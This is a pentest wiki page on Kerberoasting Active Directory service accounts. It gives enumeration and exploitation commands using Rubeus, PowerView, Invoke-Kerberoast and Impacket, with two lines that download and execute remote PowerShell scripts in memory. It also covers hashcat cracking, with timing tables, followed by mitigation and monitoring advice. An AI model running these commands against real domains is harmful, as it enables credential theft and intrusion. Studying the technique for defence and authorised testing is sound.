Pentest Everything
GitHubSupport Pentest Everything
  • ⚔️Pentest Everything
  • 🚩Writeups
    • CyberSecLabs
      • Active Directory
        • Dictionary
        • Spray (WIP)
      • Linux
        • Shock
        • Pie
      • Windows
        • Brute
        • Deployable
        • Glass
        • Monitor
        • Sam
        • Secret
        • Stack
        • Unattended
        • Weak
    • HackTheBox
      • Active Directory
        • Active
        • Blackfield
        • Cascade
        • Forest
        • Intelligence
        • Mantis
        • Monteverde
        • Resolute
        • Return
        • Sauna
        • Search
      • Linux
        • Antique
        • Armageddon
        • Backdoor
        • Bashed
        • Cap
        • Cronos
        • Curling
        • Knife
        • Lame
        • Help
        • Horizontall
        • OpenAdmin
        • Poison
        • SolidState
        • Traceback
        • Trick
      • Windows
        • Access
        • Artic
        • Bastard
        • Bastion
        • Bounty
        • Devel
        • Heist
        • Jeeves
        • Jerry
        • Legacy
        • Love
        • Optimum
        • Remote
        • SecNotes
        • Servmon
        • Timelapse
        • Querier
    • PG Play | Vulnhub
      • Linux
        • BBSCute
        • BTRSys2.1
        • Born2root
        • BossPlayersCTF
        • Covfefe
        • Dawn
        • DC5
        • Funbox
        • FunboxEasy
        • FunBoxEasyEnum
        • HackerFest2019
        • Geisha
        • JISCTF
        • My-CMSMS
        • NoName
        • OnSystemShellDredd
        • Photographer
        • Potato
        • PyExp
        • Samurai
        • SunsetDecoy
        • SunsetMidnight
        • SunsetTwilight
        • Wpwn
    • PG Practice
      • Linux
        • ClamAV
        • Nibbles
        • Payday
        • Pelican
        • Peppo
        • Postfish
        • Pwned1
        • Snookums
        • Sirol
        • Sorcerer
        • Quackerjack
        • WebCal
        • Walla
        • ZenPhoto
        • Zino
      • Windows
        • Algernon
        • Compromised
        • Kevin
        • Helpdesk
        • Hutch
        • Jacko
        • Meathead
        • Metallus
        • Shenzi
        • Slort
        • UT99
    • TryHackMe
      • Linux
        • All in One
        • Archangel
        • Anonforce
        • Biblioteca
        • Cat Pictures
        • Chill Hack
        • CMesS
        • ColddBox
        • ConvertMyVideo
        • CyberHeroes
        • Cyborg
        • Dav
        • Fusion Corp
        • GamingServer
        • Gallery
        • Internal
        • Jacobtheboss
        • Kiba
        • LazyAdmin
        • Library
        • Madness
        • Marketplace
        • Mustacchio
        • NerdHerd
        • Oh My WebServer
        • Olympus
        • Plotted-TMS
        • Skynet
        • Startup
        • Surfer
        • Team
        • Tech_Supp0rt: 1
        • Tomghost
        • VulnNet
        • Undiscovered
        • Year of the Owl
      • Windows
        • Blueprint
        • Enterprise
        • Flatline
        • Quotient
        • RazorBlack
        • Relevant
        • USTOUN
        • VulnNet: Roasted
    • To Do
      • AllSignsPoint2Pwnage (WIP)
      • Hunit (WIP)
      • Escape (WIP)
      • Banzai (WIP)
      • Billyboss (WIP)
      • Fish
      • Ra
      • Roquefort (WIP)
  • 💾GitHub
  • 🔵PsMapExec
    • Change Log
    • BloodHound
    • Using Credentials
    • Cross Domain Usage
    • Methods
      • Command Execution
      • DCSync
      • GenRelayList / SMB Signing
      • Inject
      • IPMI
      • Kerberoast
      • MSSQL
      • Session Hunter
      • Spray
    • Modules
      • Amnesiac
      • ConsoleHistory
      • Files
      • FileZilla
      • KerbDump
      • eKeys
      • LDAP / LDAPS
      • LogonPasswords
      • LSA
      • MDF
      • NTDS
      • Notepad
      • NTLM
      • SAM
      • SCCM
      • SessionExec
      • SessionRelay
      • SSH
      • TGTDeleg
      • VNC
      • Wi-Fi
      • WinSCP
    • Target Acquisition
  • Everything
    • Buffer Overflow Guide
    • Everything Active Directory and Windows
      • Active Directory Enumeration
      • ADCS
        • Enumeration - Certificate Authority
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC6
        • ESC7
        • ESC8
        • ESC9 - WIP
        • ESC11
      • Access Token Manipultion
        • Token Impersonation
        • Create Process with Token
        • 🔨Make and Impersonate Token
        • Parent PID Spoofing
        • 🔨SID-History Injection
      • Adversary-in-the-Middle
        • 🔨LDAP Relay
        • 🔨LLMNR
        • 🔨RDP MiTM
        • 🔨SMB Relay
      • Credential Access
        • Brute Force
          • Password Spraying
        • Credential Dumping
          • LSASS Memory
          • Security Account Manager (SAM)
          • NTDS
          • LSA Secrets
          • Cached Domain Credentials
          • DCSync
            • 🔨DCSync Attack
        • Credentials from Password Stores
          • Credentials from Web Browsers
          • Windows Credential Manager
        • Unsecured Credentials
          • Credentials In Files
          • Credentials in Registry
          • Group Policy Preferences
            • 🔨GPP Passwords
        • 🔨Modify Authentication Process
          • Domain Controller Authentication: Skeleton Key
          • Reversible Encryption
        • Steal or Forge Kerberos Tickets
          • AS-REP Roasting
          • Golden Ticket
          • Kerberoasting
          • Silver Ticket
          • S4U2Self
          • Ticket Aquisition
          • Constrained Delegation
          • Unconstrained Delegation
      • Collection
        • Clipboard Data
        • Audio Capture
      • Defense Evasion
        • Disable and Bypass Defender
        • Impair Defenses
          • Disable Windows Event Logging
          • Impair Command History Logging
          • Disable or Modify System Firewall
        • Indicator Removal
          • Clear Windows Event Logs
          • Clear Command History
          • File Deletion
          • Network Share Connection Removal
          • Timestomp
      • Input Capture
        • Keylogging
      • Lateral Movement
        • PowerShell Remoting
        • Alternate Authentication Material
          • Pass The Hash
          • Pass the Ticket
          • Pass the Password
      • File Execution Methods
      • File Transfer Techniques
      • Forced Coercion
        • URL File Attack
      • LAPS
      • Network Sniffing
      • Persistence
        • AdminSDHolder
        • BITS Jobs
        • Create Account
          • Local Account
          • Domain Account
          • Cloud Account
        • Create or Modify System Process
          • Windows Service
        • Custom SSP
        • DSRM
        • 🔨Persistence Notes
        • Skeleton Key Attack
      • Privilege Escalation
        • Privilege Escalation Checklist
        • DnsAdmin
        • Registry
          • Always Install Elevated
          • AutoRuns
        • Service Exploits
          • Insecure Service Permissions
      • SCCM / MECM
        • Recon
        • CRED-1 - PXE Abuse
        • CRED-2 - Policy Request Credentials
        • CRED-3 - WMI Local Secrets
        • CRED-4 - CIM Repository
        • CRED-5 - MSSQL Database
        • ELEVATE-2 - Client Push
        • TAKEOVER-2
      • Timeroasting
      • Tools
        • BloodHound
    • Everything Linux
      • File Transfer Techniques
      • Linux Privilege Escalation Techniques
      • Privilege Escalation Checklist
      • Shell Upgrades
    • Everything OSINT
      • Discovering Email Addresses
      • Dork Tools
      • Image OSINT
      • Metadata OSINT
      • Password OSINT
      • Phone Number OSINT
      • Search Engine Operators
      • Social Media OSINT Tools
      • OSINT CTFs
      • OSINT VM
      • Username OSINT
    • Everything Web
      • Command Injection
      • Enumeration
      • File Upload
      • Sub Domain Enumeration
      • XSS
    • Host Discovery
    • Pivoting and Portforwarding
    • Ports
      • Nmap Commands for port discovery
      • Port 21 | FTP
      • Port 25 | SMTP
      • Port 53 | DNS
      • Port 88 | Kerberos
      • Ports 111 | 32771 | rpcbind
      • Port 123 | NTP
      • Ports 137 | 138 | 139 | NetBIOS
      • Ports 139 | 445 | SMB
      • Ports 161 | 162 | SNMP
      • Port 389 | LDAP
      • Ports 1099 | Java RMI
      • Ports 2049 | NFS
      • Port 3389 | RDP
      • Ports 8080 | 8180 | Apache Tomcat
    • PowerShell
      • Constrained Language Mode
      • Download and Execution Methods
      • Resources
      • Restricted Mode
  • Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • OSINT Tools
    • Weakpass
  • Password Filter DLL
  • Dork Cheatsheet
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Hash Cracking
  • Cracking time between RC4 and AES256 (Dictionary)
  • Cracking time between RC4 and AES256 (bruteforce)
  • Mitigation
  • Monitoring
  • References

Was this helpful?

  1. Everything
  2. Everything Active Directory and Windows
  3. Credential Access
  4. Steal or Forge Kerberos Tickets

Kerberoasting

https://attack.mitre.org/techniques/T1558/003/

Last updated 1 year ago

Was this helpful?

ATT&CK ID:

Permissions Required: Valid Domain Account | Ability to sniff domain traffic

Description

Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Force.

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service).

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plain text credentials.

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.

Enumeration

CMD

# Gets all SPNs, Includes machine account SPNs
setspn -T [Domain] -Q */*

Powerview

Get-DomainUser -SPN | Select SamAccountName,DisplayName,ServicePrincipalName

Get-SPNs

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/RedTeam-Pentest-Tools/main/Kerberoasting/Get-SPNs.ps1")

Impacket

GetUserSPNs.py [Domain]/[User]:<Password> -dc-ip [IP] -request

Exploitation

Rubeus (Binary)

# Kerberoast all users in Domain and output to file
Rubeus.exe kerberoast /simple /outfile:C:\Temp\Kerbhashes.txt

# Kerberoast all users in alternative Domain
Rubeus.exe kerberoast /nowrap /domain:[Domain]

# Only kerberoast RC4 compatible types
Rubeus.exe kerberoast /nowrap /rc4opsec

# Only kerberoast AES compatible types
Rubeus.exe kerberoast /nowrap /aes

# Specific users
Rubeus.exe kerberoast /user:[User] /nowrap

# List statistics about found Kerberoastable accounts (Quiet)
Rubeus.exe kerberoast /stats

Rubeus (PowerShell)

# Kerberoast all users in Domain and output to file
Invoke-Rubeus -Command "kerberoast /simple /outfile:C:\Temp\Kerbhashes.txt"

# Kerberoast all users in alternative Domain
Invoke-Rubeus -Command "kerberoast /nowrap /domain:[Domain]"

# Only kerberoast RC4 compatible types
Invoke-Rubeus -Command "kerberoast /nowrap /rc4opsec"

# Only kerberoast AES compatible types
Invoke-Rubeus -Command "kerberoast /nowrap /aes"

# Specific users
Invoke-Rubeus -Command "kerberoast /user:[User] /nowrap"

# List statistics about found Kerberoastable accounts (Quiet)
Invoke-Rubeus -Command "kerberoast /stats"

Invoke-Kerberoast

The hashes produced for type 18 and type 17 are not calculated correctly in this script and will not crack. Use Rubeus instead if you need to obtain type 18 or 17 hashes.

# Load into memory
IEX(IWR https://raw.githubusercontent.com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Kerberoast.ps1)

# Standard Run
Invoke-Kerberoast | FL

# Dump only hashes in a file
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File "[Path]" -Encoding "ASCII"

Impacket

GetUserSPNs.py [Domain]/[User]:<Password> -dc-ip [IP] -request

Hash Cracking

hashcat -m 13100 -a 0 -O hashes.txt rockyou.txt -r rules.rule

etype           Value        Hashcat mode
AES128           17            19600
AES256           18            19700
RC4              23            13100

Cracking time between RC4 and AES256 (Dictionary)

GPU
Wordlist
Rule
Attempts
AES256 Time
RC4 Time

GTX 980

Rockyou

Best64

1 Billion

1 hour, 22 mins

9 Seconds

RTX 3090 x 2 + RTX3070

Rockyou

Best64

1 Billion

7 Minutes, 13 Seconds

Instant

GTX 980

rockyou2021

Best64

651 Billion

36 Days

1 Hour, 56 minutes

RTX 3090 x 2 + RTX3070

rockyou2021

Best64

651 Billion

3 Days, 2 hours

4 mins, 50 seconds

Cracking time between RC4 and AES256 (bruteforce)

GPU
AES256 Time
RC4 Time
Pass Length

GTX 980

Basically forever

173 years, 22 days

9

RTX 3090 x 2 + RTX3070

Basically forever

6 years, 25 days

9

Mitigation

  1. Maintain service account passwords with a minimum length of 25 characters and ensure they are generated using a completely random process.

  2. Implement regular password rotations for service accounts to enhance security.

  3. Ensure service accounts have minimal permissions within the domain

  4. Enforce the usage of AES256 encryption instead of RC4 for Kerberos authentication.

  5. Ensure that your Key Distribution Center (KDC) is running at least Windows Server 2019. Older server versions may default to using RC4 encryption when an encryption downgrade request is initiated.

  6. Whenever feasible, leverage Group Managed Service Accounts (GMSA) for service account management.

Monitoring

Regularly review Windows Event Logs, specifically the Security event log. Look for Event ID 4769 (Kerberos service ticket requests) that indicate service ticket requests for accounts. Unusual or suspicious patterns should be investigated.

Deploy honeytokens or honeyaccounts, which are fake accounts or credentials that are monitored. If these are accessed, it could indicate an attacker attempting to perform kerberoasting based attack.

Monitor for LDAP queries which may be used to discover accounts with SPNs. This is often performed by adversaries to perform initial discovery:

(servicePrincipalName=*)

References

Documentation:

Good list for cracking:

https://github.com/GhostPack/Rubeus#kerberoast
https://gist.github.com/The-Viper-One/a1ee60d8b3607807cc387d794e809f0b
https://adsecurity.org/?p=3458
https://redsiege.com/tools-techniques/2020/10/detecting-kerberoasting/
T1558.003
[Source]